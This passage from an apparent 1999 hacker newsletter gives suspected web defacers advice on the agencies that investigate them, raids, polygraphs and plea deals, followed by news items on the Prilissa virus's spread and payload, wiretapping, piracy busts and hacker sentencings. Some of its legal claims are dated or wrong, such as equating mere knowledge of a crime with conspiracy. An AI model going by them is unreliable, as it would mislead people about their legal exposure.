      Who's investigating you?

      There are at least five agencies that investigate computer
      crime in the United States. For computer crimes that do
      not involve crossing state lines (PBX hacking, local dialins,
      etc), many state or city LE agencies are equipped to
      investigate. Some state LE offices have a dedicated
      officer with adequate resources to investigate with no
      external help. Computer crimes that involve crossing state
      lines brings two more agencies to bear.

      The Federal Bureau of Investigation (FBI) is the primary
      agency chartered to handle domestic interstate computer
      hacking. In the late 80's and early 90's, these
      investigations were handled by the Secret Service (SS).
      With a few rare exceptions, the Secret Service no longer
      handles computer crime investigation. Some of these
      exceptions are the hacking of White House machines
      (unconfirmed rumor) and hacking that involves threats to
      the President or other specific individuals.
      
      The third agency that comes into play is the Defense
      Criminal Investigative Service (DCIS). When hacks occur
      that involve military machines (.mil), DCIS is brought in to
      investigate. These agents often work closely with the FBI
      and have liason agents that spends most of their time
      working side by side with the FBI. DCIS agents are gun
      toting, badge carrying, door kicking agents just like the
      FBI. When not investigating computer crime, they are
      responsible for most criminal investigations that occur on
      US Military bases.
      
      The fourth agency is the Air Force Office of Special
      Investigations (AFOSI). Any computer intrusion into a
      United States Air Force machine falls into their domain.
      They operate primarily out of a Washington field office,
      and work with DCIS when needed.
      
      What NASA lacks in security, they make up for in the
      investigative department. National Aeronautics and Space
      Administration, Office of Inspector General (NASA OIG) is
      a highly regarded branch of NASA that investigates
      intrusions into their networks. Considered by some
      investigators to be the top of the food chain, they
      certainly have a large quantity of work.
      
      If you deface a web site, any one of these (or all of them)
      may be investigating you. Like many government
      agencies, the FBI is not well known for inter office
      communication skills. There have been times when multiple
      agents investigated the same individual without knowledge
      of the other. This communication problem extends to DCIS
      despite their liason agents to the FBI. Rest assured, at
      least one of the three does have an investigation into the
      defacement.
      
      In the past few months I have been told by several
      defacers "Dood, the NSA is investigating me!" Hate to
      burst your bubble, but I seriously doubt it. The National
      Security Agency (NSA) does not even have the power to
      arrest. With a few exceptions (I imagine), they do not
      carry guns and they do not spy on you every second. I
      will not debate what power they do have, but those
      things I am pretty sure of. Suffice it to say, even if they
      were keeping tabs on you and your actions, it is the least
      of your worries. Any evidence they collect is not shared
      with the FBI, and would have to be explained in court how
      it was obtained. Do you think the NSA will admit to
      monitoring domestic communication over a few web page
      defacements? ;)
      
      For active defacers and crackers in the United Kingdom,
      you will be investigated by the Computer Crime Unit (CCU)
      at Scotland Yard. 
      
      LE Resources
      
      On top of entire labs dedicated to investigating computer
      crime, most law enforcement uses an entirely different set
      of resources for the initial investigation. Unbeknownst to
      many active crackers, it is their own words and actions
      that lead to trouble. Rather than admit they were
      careless, conspiracy theory and games of "who's the narc"
      come up.
      
      Law Enforcement uses the same resources you do. They
      view web sites that mirror defacements. They read
      bugtraq and other sites that talk about new
      vulnerabilities. They read hacker social lists like dc-stuff
      and web based BBSs. They IRC quite frequently, and do
      so under fairly innocent names. Certainly nothing that
      screams their real identity. Add all of that up, and they
      can typically build a good profile of any given cracker with
      little to no effort.
      
      
      
      The Raid
      
      There is nothing quite like waking up to the unfriendly
      barrel of a 9mm and large armored man pointing it at you.
      Equally disturbing is watching them parade your roomate
      or family half naked out to a central room or front porch
      while the agents secure the residence. LE raids are pretty
      straight forward. They come in with a Search and Seizure
      warrant that gives them the right to confiscate anything
      pertaining to the investigation. This includes everything
      from computers, to books, to ANY media including tapes,
      CDROMs, console cartridges and more. During this process
      you are questioned by several agents. This is where you
      invoke your right to have a lawyer present during
      questioning. Do not be hostile or insulting to the agents,
      just give them relevant information like name, birthdate
      and vital information. Before they begin the search, you
      should do two things. First, ask to see their identification
      and verify who they are. Second, ask to see a copy of
      the warrant. Some agents will not comply with either
      demand. Deal with it, they have guns and bad attitudes.
      You cannot reason with them.

      During the questioning take notes. You have the right to
      have pencil and paper there, but you may not record the
      conversation or have a witness present. Assume that they
      are recording the conversation despite what they say.
      When they ask if you have any traps set to destroy
      computer equipment if tampered with, tell the truth. If
      you do not divulge that type of information and it results
      in an agent getting hurt, your life will not be pleasant and
      Title 18 will be the least of your concerns.

      During the raid they will use all sorts of tactics during
      questioning. The familiar good cop/bad cop routine, the
      "let's be friends after this", harsh and accusing, and the all
      time favorite, outright lying. Yes, those oh-so-noble
      agents will lie to you, all the while bantering about how
      important honesty is. They are not required to tell you the
      truth, so don't think otherwise.

      At the conclusion of the raid, you should be left with a
      copy of the warrant, contact information for at least one
      agent, and a receipt for all material confiscated. If you
      are not left with those three items, immediately contact a
      lawyer and get advice on how to procede. Despite there
      being rights and laws to protect you, FBI agents often
      overlook them.



      What are they charging me with?

      As many people know, computer crime falls under US Title
      18 code. For each system you intrude on, LE can charge
      you with at least one (usually more) count of violating
      Title 18. There are adequate papers and web pages that
      cover this, so I won't go into much detail. Instead, there
      are two other aspects which many people aren't aware of
      that are worse than Title 18. These are the laws you
      should truly fear.

      The first is Conspiracy. If your friend defaces a web site,
      you could go to jail as scary as it may sound. Having prior
      knowledge of, or being an accessory to the crime makes
      you guilty of Conspiracy. As a responsible law abiding
      citizen, if you have knowledge of a crime that is about to
      be, or has been committed, you must report it to the
      proper authorities. If you make no effort to stop the crime
      and at the very least report it before it occurs, you are
      just as guilty as the perpetrator of the crime. What makes
      this worse than Title 18 violation is the proof. A court of
      law only has to establish that you knew about the crime
      and did not act accordingly in order to convict you of it.
      One IRC chat log, one piece of mail confiscated from a
      machine, or one recorded phone call (or conference call)
      is all it takes.

      The second set of laws you could conceivably be charged
      with is much more sinister. They apply to any hacking or
      defacing of government or military servers. From what I
      understand, DCIS agents are using this effectively to
      guarantee prosecution and encourage plea bargains.
      Rather than charge the cracker with US Title 18, Chapter
      47, 1030, they revert to US Title 18, Chapter 119, 2511,
      which covers disruption and/or interception of
      communication of US Government and Military computers.
      By denying service or intercepting communications to or
      from a government system, you are committing a different
      crime than those covered under Chapter 47. DCIS was
      quite clever in using this one as it is apparently easier to
      prove in court.


      The Polygraph

      The Polygraph test analyzes various physiological
      reactions to questions asked of you. Based on these
      reactions, they try to determine if you are lying. Sounds
      like the ultimate law enforcement tool right? Wrong. The
      courts have ruled that polygraph test results are
      inadmissible in court. The FBI and other LEs use the poly
      as a guideline to help steer their investigation. Asking
      someone to take one is one of many ways LE forces
      people into a Catch-22 of sorts. If you take it, you can't
      lie about anything. Worse, you can't get nervous as that
      could affect the results. If you decline the polygraph, the
      LE agency will imply or outright accuse you of declining
      because of guilt. Regardless of their request, decline all
      polygraph requests! A polygraph can rarely help you.
      Even if you did not commit a crime and say so under poly,
      it will never see a court. If the LE chooses to bring a case
      against you anyway, taking the test will not have helped.



      Copping a plea

      If the investigation progresses to the point of them
      pressing charges against you, the prosecuting attorney
      and agent may approach you to cut a deal. First and most
      important warning! LE Agents do NOT have the ability to
      cut deals! They can recommend certain actions to the
      prosecution, but have no power to cut a deal themselves.

      There are two points in the investigation that LE agents
      may approach you to cut a deal: before and/or after
      pressing charges. If an agent comes to you promising a
      sweet deal without pressing charges, smile to yourself. No
      charges, no reason to cut a deal. This is another ploy
      used to encourage you to admit to a crime.

      Once the prosecuting attorney presses charges, they may
      come to you looking for you to cut a deal. One thing this
      will entail is admitting to some or all of the crimes you
      stand accused of. Some of the other things they may look
      for: 

           1. Admission of other crimes you haven't been
           accused of.
           2. A list of additional systems you have or can
           access.
           3. Cooperation in busting other individuals. 
           --a. Current information you possess on other
           cracker activity (aka narc) 
           --b. Gaining additional information via logged chat or
           recorded calls. (aka informant) 



      Punishment

      It is very difficult to guess what type of punishment you
      can expect to get if caught and convicted. Relevent
      factors that affect this are your age, level of crime,
      whether you are a repeat offender, if you cut a deal and
      more. Because most cracker cases never reach trial, there
      is little case history to draw off and try to isolate any
      trends. For the most part, cases end in a deal that
      involves little jail time, long probation, community service
      and fines. If convicted, you can expect all of the above.



      Why haven't they busted me yet?

      One of the most often asked questions by young hackers
      is, "Why haven't they raided me yet?" Seemingly the best
      evidence to support the theory that they are not being
      investigated, it is a lack of understanding on how the feds
      work, nothing more. Once an investigation begins, federal
      agents will do as much work on the case as humanly
      possible without running the chance of alerting the
      individual. This means that subpoenas or anything else
      that could get back to the target comes when all other
      resources have been exhausted. Once all of the evidence
      is processed and the case formed, agents will make sure
      they have a case.

      Case information in hand, they take it to a judge to get a
      search and seizure warrant in order to accumulate more
      information. Once the judge issues this warrant, it is
      sometimes a matter of hours before they execute it and
      knock on the door. Because of the order of events and
      the way they work, it is quite likely you will not know of
      an investigation until you are looking down the barrel of a
      gun.

      "But, it's been six months since I did anything!" Another
      good observation, but still naive. While the federal agents
      are investigating you, they are also investigating dozens,
      maybe hundreds of other people. Each agent works day to
      day with several cases open, contributing to several as
      they make phone calls and do research. It is not
      uncommon that with the amount of cases, they become
      backlogged. Six months? You aren't in the clear.



      In Conclusion

      Defacing a web page, especially one run by the
      government, is a serious crime. With the recent rash of
      government/military defacements, one has to wonder if
      the defacers are aware of the potential repurcussions of
      their actions. Is replacing a web page with a hastily
      written one or two line text message worth going to jail
      for? No justification of 'hacktivism', free security audit, or
      any other shallow attempt to justify defacing holds up. No
      court will buy it, no agent will go easy on you for it.

              "0wn3d by h4ckerX, fuk da gov. greetz to bob"

              "hacked for my true love Meg!$!$@$"

      Are either of those messages really worth rotting in jail for
      a year? At the end of which you are not allowed to touch
      a computer or cell phone? Did you really accomplish
      anything or get a message across?

      I certainly think not.


      Brian Martin (bmartin@attrition.org)
      Copyright 1999 
      
      @HWA
      
05.0  Christmas Brings Joy For Prilissa 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/ 


      contributed by no0ne 
      A combination of Melissa and PRI, a new virus dubbed
      "Prilissa", has the capability to reformat your hard drive.
      If activated before Christmas day the payload will wait
      until the 25th before it attempts to reformat your drive.
      It is another one of those viruses that spreads via
      e-mail and takes advantage of security holes in both
      Microsoft Outlook and Outlook Express to replicate. 

      C|Net
      http://news.cnet.com/news/0-1006-200-1455135.html?dtn.head
      
      MSNBC
      http://www.msnbc.com/news/337425.asp
      
      Symantec      
      http://www.symantec.com/avcenter/venc/data/w97m.prilissa.a.html
      
      
      C|Net;
      
     Christmas virus could reformat hard drives 
     By John Borland
     Staff Writer, CNET News.com
     November 19, 1999, 4:40 p.m. PT 

     This is worse than a lump of coal. 

     A new quick-spreading computer virus that can reformat a victim's computer 
     hard drive on Christmas has been detected, and already appears to have 
     cropped up on three continents, antivirus researchers said. 

     Dubbed "Prilissa," the malicious code is a combination of Melissa, an 
     earlier virulent virus spread via email, and another program called PRI. It 
     follows an increasingly common trend of using security holes in Microsoft's 
     Outlook and Outlook Express to spread itself through email. 

     "Come Christmas day, you could turn on your computer to play a new game or 
     whatever, and it reformats your hard drive," said Sal Viveros, group 
     marketing manager for the antivirus division of Network Associates. 

     While potentially dangerous for users, the increased visibility of these 
     viruses has been a boon for antivirus companies such as Network Associates 
     and Trend Micro, which have seen sales of antivirus software skyrocket. 

     Researchers at Network Associates antivirus labs say they discovered 
     Prilissa two days ago and deemed it a low risk, since it had not yet 
     surfaced "in the wild," or on the Internet at large. But today at least 10 
     Fortune 500 companies scattered across Europe, the United States and 
     Australia called in reports about the virus, the company said. 

     The code draws from both of its predecessors. Like Melissa, the virus comes 
     as an attachment in an email. Once opened, the virus will email itself to 
     the first 50 addresses in an infected computer's email contact list. From 
     the PRI code, it inserts random colored squares into a user's documents. 

     But unlike its predecessors, which mostly only led to excessive email 
     traffic, Prilissa carries a destructive kick. If opened, a user's hard 
     drive could get re-configured. 

     The virus appears in mailboxes purporting to be a message from the last 
     infected user. The body of an email will read "This document is very 
     important and you've GOT to read this!!" 

     The document itself can be whatever Microsoft Word file the last victim was 
     using when the virus sent itself out, raising the risk that confidential 
     documents could accidentally be released to a huge number of people. 

     Although the virus can only replicate itself through Microsoft Outlook, the 
     payload can infect any PC running Windows 95 or 98. Put another way, 
     consumers who use Eudora Pro can get infected, but they can't spread the 
     virus. 

     Unlike a dangerous new variant seen with the "Bubbleboy" virus, Prilissa 
     requires a victim to click on the infected email attachment in order to 
     launch itself and infect the users' computer. 

     Some existing antivirus protections against Melissa will stop Prilissa from 
     spreading without being updated, Viveros said. 
     
     MSNBC;
     
     Christmas virus hits big companies
     W97M/Prilissa — a bug whose payload is set to go off
     Christmas Day — strikes Fortune 500 firms on three
     continents
                                       By Jim Kerstetter
                                                 PC Week
                                                    ZDNN

      Nov. 19 — It’s called the W97M/Prilissa virus. But
      a better name for it would be the Grinch virus.
      Anti-virus researchers at Network Associates
      Inc. said Friday that 10 Fortune 500 companies
      on three continents have been hit with a new
      virus called W97/Prilissa. Prilissa is a nasty
      variant on two better known attacks — the
      Melissa worm and the PRI virus. The virus
      depends on the Windows 95 and 98 operating
      systems and the Word 97 word processing
      application.
      
      IF OPENED, IT WILL E-MAIL itself to the first 50
      names on a computer’s Outlook or Outlook Express e-mail
      client. 

      (Windows, Outlook and Outlook Express are products
       of Microsoft, which is a partner in MSNBC.)
        
        This is probably the fastest infection rate we’ve seen
      since Melissa, said Sal Viveros, anti-virus product manager
      at Network Associates, in Santa Clara, Calif. The virus uses
      macro commands similar to those of Melissa to replicate
      itself. 
 
      But the virus itself won’t go off until Christmas day.
      That means it won’t have much of an impact on companies,
      which aren’t likely to be open on that day, even if it should
      go undetected. But there is a big threat to home PC users,
      particularly unsuspecting children logging onto the computer
      to play with their new games on Christmas. 
      The Dr. Suess analogies are endless. 
                                 
                     
      The virus itself looks for a registry key to verify if the
      local system has been infected. If it hasn’t, the virus creates
      a Microsoft Outlook e-mail message with the subject line
      “Message From (Office 97 user name)” and a message
      body that says “This document is very Important and
      you’ve GOT to read this!!!” 
   
      The first 50 listings from all address books are
      selected, along with an attachment — the infected
      document, whatever it is. 
   
      If the date is Dec. 25, the virus runs a destructive
      payload to overwrite the existing C:/AUTOEXEC.BAT file
      with instructions to format the C: drive. 
                                
      The virus will not run on Windows NT. Another
      message is displayed on Word 97, adding: 
      “You Dare Rise Against Me ... The Human Era is
      Over, The CyberNET Era Has Come!!!”
      Most anti-virus vendors are expected to have a
      definition update and fix prepared within the next few hours.

      It’s unclear who will carve the roast beast.
      
      
      Symantec;
      
      W97M.Pri.Q / W97M.Prilissa.A 

           Detected as: W97M.Antisocial.G
              Aliases:  W97M.Melissa.W, W97M.Prilissa.A
     Area of Infection: MS Word Document
            Likelihood: Common
        Characteristics:Polymorphic, Trigger


      Norton AntiVirus users can protect themselves from this virus by downloading
      the current virus definitions either through LiveUpdate or from the Virus
      Definition download page 



      Technical Notes

      The W97M.Pri.Q virus infects Word 97 documents. It also spreads by
      sending an infected document as an attachment to an e-mail message. This is
      another variant of the W97M.Melissa.A virus. Because of the unknown virus
      and variant detection technology in Norton AntiVirus, the currently virus
      definitions will detect this new virus as W97M.AntiSocial.G. This technology
      will allow Norton AntiVirus users to detect and repair W97M.Pri.Q without
      having a signature for this specific virus. Symantec AntiVirus Research Center
      will update the virus definitions to detect this virus as W97M.Pri.Q in the
      future virus definition files.

      When an infected document is opened, the virus disables virus protection
      security settings, conversion confirmation and recently opened file list. The first
      time the virus is executed on a system, it sends e-mail using MS Outlook to
      the first 50 addresses in each of the address lists. The message contains
      "Message From {username}" in the subject line where {username} is the user
      name on the system. The body of the message contains "This document is very
      Important and you've GOT to read this !!!". The infected document is sent as
      an attachment to the message. The virus modifies the Windows registry so that
      it does not send e-mail upon subsequent execution of the virus. 

      Next, the virus checks the date on the system to trigger its payload. On Dec.
      25, the following text is displayed in a message box:

           ©1999 - CyberNET

           Vine…Vide…Vice…Moslem Power Never End…
           You Dare Rise Against Me… The Human 
           Era is Over, The CyberNET Era Has 
           Come !!!

      Then, the virus copies itself to the global template in NORMAL.DOT. Once,
      NORMAL.DOT is infected, the virus infects documents when the file is
      closed from Word. It also disables the Tools/Macro menu so that the viral
      macros are hidden.

      Some of the variable and function names in the viral code change upon
      replication. The virus keeps a list of labels in its code. Upon infection, the virus
      randomly changes each of the labels to another label in the list.

      Payload

      On December 25, several payloads are triggered. The virus displays the
      message box mentioned above. It also overlays several colored shapes onto
      the currently opened document. In addition, it overwrites the
      AUTOEXEC.BAT to format the C: drive and display the following text upon
      the next reboot of the system:

           Vine…Vide…Vice…Moslem Power Never End…
           Your Computer Have Just Been 
           Terminated By -= CyberNET =- Virus !!!



      Update Virus Definitions

      Norton AntiVirus users can protect themselves from this virus by downloading
      the current virus definitions either through LiveUpdate or from the Virus
      Definition download page 

      Write-up by: Wason Han
      November 19, 1999
      
      @HWA
      
      
06.0  Norway Sets Wiretapping Agreement 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by luyten 
      The Norwegian justice department, in cooperation with
      Norway's two biggest telecommunications companies
      (NetCom and Telenor), have invested 9.2 million dollars
      on a technical and economic solution to tap into and
      listen to any GSM phone. 

      Nettavisen - Norwegian      
      http://www.nettavisen.no/it_nyheter/81912.html
      
      @HWA
      
07.0  Cable Pirates Busted in Cali 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by Evil Wench 
      When Time Warner detectives saw an advertisement for
      cable boxes in a Filipino newspaper they called the
      Sheriffs Department. After following a trail form a Post
      Office box in Nevada to to a business in Las Vegas they
      arrived at the home of Bau Nguyen in La Canada
      Flintridge, California. There investigators seized over 350
      illegal cable descrambling boxes used for pirating cable
      TV. The boxes are estimated to be worth $2 million.
      (They also supposedly seized an 'e-prompt' burner.
      Bwaahahaha. Hmmm, 350 boxes for 2mil that is almost
      6 Grand per box, yeah right.) 

      LA Times       
      http://www.latimes.com/news/state/19991120/t000105828.html
      (Membership)
      
      @HWA
      
08.0  Pandora 4.0 Beta2 Now Available 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by WeldPond 
      Pandora is a set of tools for testing the security and
      insecurity of Novell Netware. Pandora v4 Beta 2, both
      offline and online versions, have been released by the
      Nomad Mobil Research Center. 

      Pandora Home Page       
      http://www.nmrc.org/pandora/index.html
      
      @HWA
      
09.0  Attrition Adds Features 
      ~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/ 


      contributed by cult_hero 
      Attrition.org has done an overhaul on their defaced
      mirror archive. On top of significant updates to existing
      mirrors, they have created several new targeted mail
      lists to help notify people of defaced sites. 'defaced-gm'
      caters to individuals that wish to stay abreast of the
      latest Government and Military defacements. A second
      new list 'defaced-alpha' is designed for law enforcement
      and security admins that wish to be notified
      immediately, via alpha-numeric pager. 

      Attrition Mirror
      http://www.attrition.org/mirror/attrition/
      
      List Information      
      http://www.attrition.org/security/lists.html
      
      Note: this info has been included in our mailing lists section - Ed
      
      @HWA
      
10.0  Zyklon Sentenced to 15 Months 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by altomo and William Knowles 
      On Friday Zyklon (Eric Burns) plead guilty in U.S. District
      Court in Alexandria, Va., to a single felony count of
      intentionally breaking into one computer, but admitted
      involvement in numerous other electronic attacks. He
      has been sentenced to 15 months in federal prison and
      ordered to pay $36,240 in restitution. In addition he will
      be banned from using a computer for three years after
      his release. Zyklon has denied being directly involved
      with the defacement of the White House web page
      earlier this year. He said he knew who was behind the
      defacement but that he would not reveal their
      identities. Prosecutors claim that Zyklon caused $40,000
      damage to government and business web sites. Zyklon
      is expected to report to prison in four to six weeks. 

      HNN Mirror of White House Defacement
      http://www.hackernews.com/archive/1999/whitehouse/gh.html
      

      Herald Net
      http://www.heraldnet.com/Stories/99/11/20/11676045.htm
      
      The Straits Times
      http://www.straitstimes.asia1.com/cyb/cyb1_1122.html
      
      Associated Press - Via Yahoo        
      http://dailynews.yahoo.com/h/ap/19991122/tc/white_house_hacker_3.html
      
      
      Herald;
      
      Shoreline hacker gets 15-month
      sentence 
 
      Washington Post and Herald staff 
 
      A 19-year-old from Shoreline who broke into computer systems around the
      Washington, D.C., area was sentenced Friday to 15 months in prison for
      infiltrating and altering World Wide Web sites used by Vice President Al
      Gore, NATO and the U.S. Information Agency.
 
      Eric Burns of Shoreline used the name "Zyklon" and often left love notes for a
      high school classmate named Crystal on the sites that he attacked.
 
      One of his assaults closed down the USIA site for eight days, court
      documents say.
 
      Burns also compromised computer systems operated by the Toronto Star
      newspaper and the Chinese government. He often left behind a signature love
      letter to Crystal and the phrase "Hack by Zyklon."
 
      Fixing the damage he caused cost between $40,000 and $120,000. The
      hackings occurred during a two-year period, ending earlier this year.
 
      After an FBI investigation, a federal grand jury indicted Burns in May and
      charged him with three counts of computer intrusion.
 
      Burns originally faced a possible 15-year prison sentence. But prosecutors
      agreed to drop two of the charges in exchange for a guilty plea to one count
      and an agreement to pay $36,240 in restitution.
 
      After the plea, Burns faced a maximum five years in prison and a $250,000
      fine.
 
      At the hearing Friday morning in federal court in Alexandria, Va., Burns
      apologized for his activities.
 
      "I disgust myself," he told U.S. District Judge James Cacheris. "I am very
      ashamed of what I have done."
 
      Cacheris said that under the sentencing guidelines, Burns' computer crime was
      particularly serious because his actions involved use of a "special skill," but he
      gave him credit for "acceptance of responsibility" because Burns pleaded
      guilty.
      
      -=-
      
      Straits Times;
      
      NOV 22 1999 

      Teen jailed for hacking into US
      govt sites 

      WASHINGTON -- A 19-year-old was jailed for 15
      months for breaking into several highly-protected United
      States Internet sites, including that of Vice-President Al
      Gore, and declaring his love for a classmate on them. 

      For two years, Eric Burns broke into the websites of the
      US Information Agency (USIA), Nato and other
      governmental agencies, the Washington Post reported
      on Saturday. 

      One amorous declaration he posted on the sites was:
     "Crystal, I love you." 

      But USIA did not like his romantic overtures and had to
      shut down its server for eight days, costing the agency
      tens of thousands of dollars in repairs. 

      Burns, of Washington, agreed to pay US$36,240
      (S$60,520) to his victims. 

      Burns, described by his attorney Ralph Hurvitz as a
      loner, told a US federal judge on Friday that he had no
      computer training, but he created a hacking program
      with computer books he bought in stores. -- AFP 
      
      -=-
      
      Assoc. Press;
      
      Monday November 22 9:54 PM ET 

      White House Hacker Faces Prison
      
      By TED BRIDIS Associated Press Writer 
      
      WASHINGTON (AP) - At age 19, hacker Eric Burns has already wandered the 
      underpinnings of the Web where few had gone before, including an illicit 
      visit inside computers at the White House in May.

      ``I didn't really think it was too much of a big deal,'' said Burns - 
      hacker name Zyklon - who admitted responsibility for some of the most 
      sensational attacks on corporate and government Internet sites.

      He was sentenced Friday in U.S. District Court in Alexandria, Va., to 15 
      months in prison and three years of supervised probation and ordered to 
      pay restitution of $36,240. And under a judge's order, he won't be allowed 
      to       touch a computer for three years after his release.

      Burns pleaded guilty Sept. 7 to a single felony count of intentionally 
      hacking into one computer, but he admitted involvement in the spate of 
      electronic assaults.

      Burns was initially indicted May 13 on charges of breaking into computers 
      for the U.S. Information Agency and two businesses. That was four days 
      after the White House Internet site - at www.whitehouse.gov - was       
      electronically assaulted.

      Initially, Burns said he wasn't directly involved in that White House 
      attack in which the altered site included the phrase, ``following peeps 
      get some shouts'' - hacker slang for ``hello'' - and listed a dozen names, 
      including Zyklon.

      Zyklon is the name of a poison gas used by Nazis against Jews.

      But federal prosecutors said Burns boasted of the White House attack 
      online even before it happened, and Burns admitted at his sentencing 
      Friday he was among three people who altered the site briefly to show a 
      black Web       page with the names of hacker organizations, along with 
      messages, ``Your box was own3d,'' and, ``Stop all the war.''

      He said Monday in a telephone interview from his home in Shoreline, Wash., 
      that he will refuse to identify his two partners to the Secret Service, 
      partly because he believes the criminal penalties for hackers are too 
      steep. His       punishment didn't fit his crime, he insisted.

      ``I'd rather not have what happened to me happen to anyone else,'' Burns 
      said. ``I don't really agree with the kind of sentencing range there is 
      for the crime.''

      The seriousness of the trouble facing Burns didn't sink in, he admitted, 
      even after FBI agents raided his home and took his computer.

      ``I just gave them a confession,'' Burns said. ``I didn't think it was too 
      big a deal.''

      Prosecutors indicated otherwise.

      U.S. Attorney Helen Fahey said Burns attacked computers on the Internet 
      controlling Web sites for NATO, a U.S. embassy and consulates and even 
      Vice President Al Gore. The USIA Web site was shut down for eight days       
      after Burns' attack.

      All told, the attacks cost the government and businesses more than 
      $40,000, prosecutors said.

      When the White House site was vandalized, experts ``had to shut down the 
      Web server, disconnect both the public and private computer networks from 
      the Internet for two days and reconfigure the computer system,'' Fahey       
      said in a statement.

      Burns expects to report to federal prison in four to six weeks, which he 
      hopes will let him spend Thanksgiving and the holidays with his family. 
      With time off for good behavior, his lawyer told him he might spend as few 
      as 13       months behind bars.

      Although his sentence says he won't be allowed to use a computer during 
      three years of supervised probation when he's released, he's already 
      planning to ask his probation officer whether he'll be allowed to use one 
      for work.

      ``I really don't know'' how the arrest and time in prison will affect his 
      future, Burns said. ``Hopefully, it won't impact it too bad.'' 

      @HWA


11.0  Email Stolen From Amazon.com 
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From HNN http://www.hackernews.com/

      contributed by lowearthorbital 
      A company known as Interloc, a rare used book dealer
      based in Greenfield MA, had been charged with 10
      counts of unlawfully intercepting e-mail messages and
      one count of unauthorized possession of passwords with
      intent to defraud. Prosecutors said that between
      January and June of 1998, Interloc used an altered
      electronic mail program to automatically intercept and
      store thousands e-mail messages from Amazon.com that
      were intended for book dealers. Interloc has settled out
      of court and has agreed to pay a $250,000 fine. (It is
      hard to tell from these articles exactly how this
      happened but it looks like Interloc owned the ISP from
      which it stole the emails. Glad the reporters cleared
      that up.) 

      Boston Globe
      http://www.boston.com/dailyglobe2/326/nation/email.htm
      
      Nando Times
      http://www.nandotimes.com/technology/story/body/0,1634,500060697-500100305-500418716-0,00.html
      
      
      Wired 
      http://www.wired.com/news/reuters/0,1349,32704,00.html
      
      Boston Globe;
      
      Internet merchant accused of intercepting rival's e-mail 

      By Steven Wilmsen, Globe Staff, 11/23/99 

      An Internet bookseller based in Greenfield has been accused of using a
      computer program to intercept thousands of e-mail messages illegally from
      Amazon.com, possibly to steal corporate strategies from its giant on-line
      rival, federal prosecutors said yesterday. 

      The case is one of the first times federal authorities have charged that a
      company read e-mail between another firm and its customers in an apparent
      attempt to gain an advantage, prosecutors said. They say the case highlights
      an imminent danger in the fiercely combative world of Internet commerce:
      on-line entrepreneurs who may be tempted to gather information
      surreptitiously on their competitors. 

      ``It's been extremely common to see hackers who get information just
      because they can get it,'' said Jeanne M. Kempthorne, the assistant US
      attorney in Boston prosecuting the case. ``What's new about this is to see it
      in the corporate setting.'' 

      In a filing yesterday in US District Court in Boston, prosecutors said that in
      January 1998, Greenfield-based Interloc altered an electronic mail program
      so that it automatically intercepted and stored e-mail messages from
      Amazon.com that were intended for book dealers. 

      Interloc's new corporate owner yesterday agreed to settle the case, in which
      Interloc was charged with 10 counts of unlawfully intercepting e-mail
      messages and one count of unauthorized possession of passwords with
      intent to defraud. The owner also agreed to pay a $250,000 fine. ``From the
      company's standpoint, this is old news,'' said Ethan Schulman, a lawyer for
      Alibris, an Internet bookseller based in Emeryville, Calif., which acquired
      Interloc last year. ``This was an inherited problem, and it's a chapter they'd
      like to close.'' 

      Schulman also said ``appropriate disciplinary action'' has been taken against
      Interloc employees involved in the e-mail interceptions. He declined to
      elaborate. 

      According to prosecutors, between January and June of 1998, Interloc
      intercepted thousands of Amazon.com e-mail messages and stored them in a
      computer system. In one two-week period alone, 3,067 e-mail messages
      were intercepted, prosecutors said. 

      Prosecutors said they have not determined exactly how Interloc used the
      messages once they were sent to a database but that it appeared the firm
      wanted to learn about Amazon.com's dealings with booksellers who were
      also Interloc customers. 

      Interloc specialized in rare and used books. It also operated a small Internet
      provider service, similar to larger services like America Online or Netscape,
      called Valinet. 

      Interloc's customers, many of them booksellers, had e-mail accounts at
      Valinet through which they would receive messages from Ama zon.com.
      Interloc programmed a computer to sort out the e-mail from Amazon.com,
      prosecutors said. In addition, Interloc employees broke into other Internet
      service providers and stole customer passwords, they said. 

      ``It certainly appears they did this for competitive reasons, but the law
      doesn't care whether you're getting corporate secrets or grocery lists,''
      Kempthorne said. ``The only thing that matters in terms of the law is that
      they intercepted it.'' 

      Schulman said that while Alibris has acknowledged that Interloc improperly
      intercepted e-mail, there is no evidence that it did so to spy on
      Amazon.com. He said the e-mail was intercepted in the course of trying to
      determine the source of a computer glitch that was interferring with customer
      orders. 

      ``No confidential customer information was obtained or misused,'' he said.
      But he conceded that ``there were some people doing things they shouldn't
      have been doing.'' 

      While the court filings didn't name specific Interloc employees or say how
      many were involved, prosecutors said yesterday that the Interloc employees
      who programmed the e-mail interceptions acted with the knowledge of
      company officials. Prosecutors also said some believed they had done
      nothing wrong. 

      ``There is a computer culture out there that says, `If you can do it, God bless
      you,' no matter what the law is,'' Kempthorne said. ``They think of this as
      some sort of lawless frontier. Just because they're brilliant doesn't mean they
      don't have to abide by the rules the rest of us live by.'' 

      Indeed, observers said that corporate espionage on the information
      superhighway was almost inevitable, in part because the early days of the
      Internet were dominated by many individuals who thought of hacking as an
      art form, not as a crime. That culture presents a threat to the rapidly
      expanding number of companies that want to do business on line but also
      need to protect proprietary information. 

      ``The Internet is absolutely huge,'' said Pete Tasker, executive director of
      security and information operations of Medford-based Mitre Corp. ``That
      means there are lots of ways to listen in if you really want to. This is the first
      time I've heard of a case like this, but it's what we all worry about.'' 
      
      -=-
      
      Nando Times;
      
      Online bookseller settles case of intercepted Amazon e-mail 

      Copyright © 1999 Nando Media
      Copyright © 1999 Associated Press

      
      BOSTON (November 23, 1999 8:17 a.m. EST http://www.nandotimes.com) - An 
      Internet bookseller has agreed to pay $250,000 to settle federal charges 
      its coporate predecessor snagged e-mails sent by giant rival Amazon.com 
      and possessed unauthorized password files. 

      Alibris, based in Emeryville, Calif., was charged in a criminal 
      information Monday with 10 counts of unlawful interception of e-mail 
      messages and one count of unauthorized possession of passwords with intent 
      to defraud. 

      The information focuses on the company's corporate predecessor - the now 
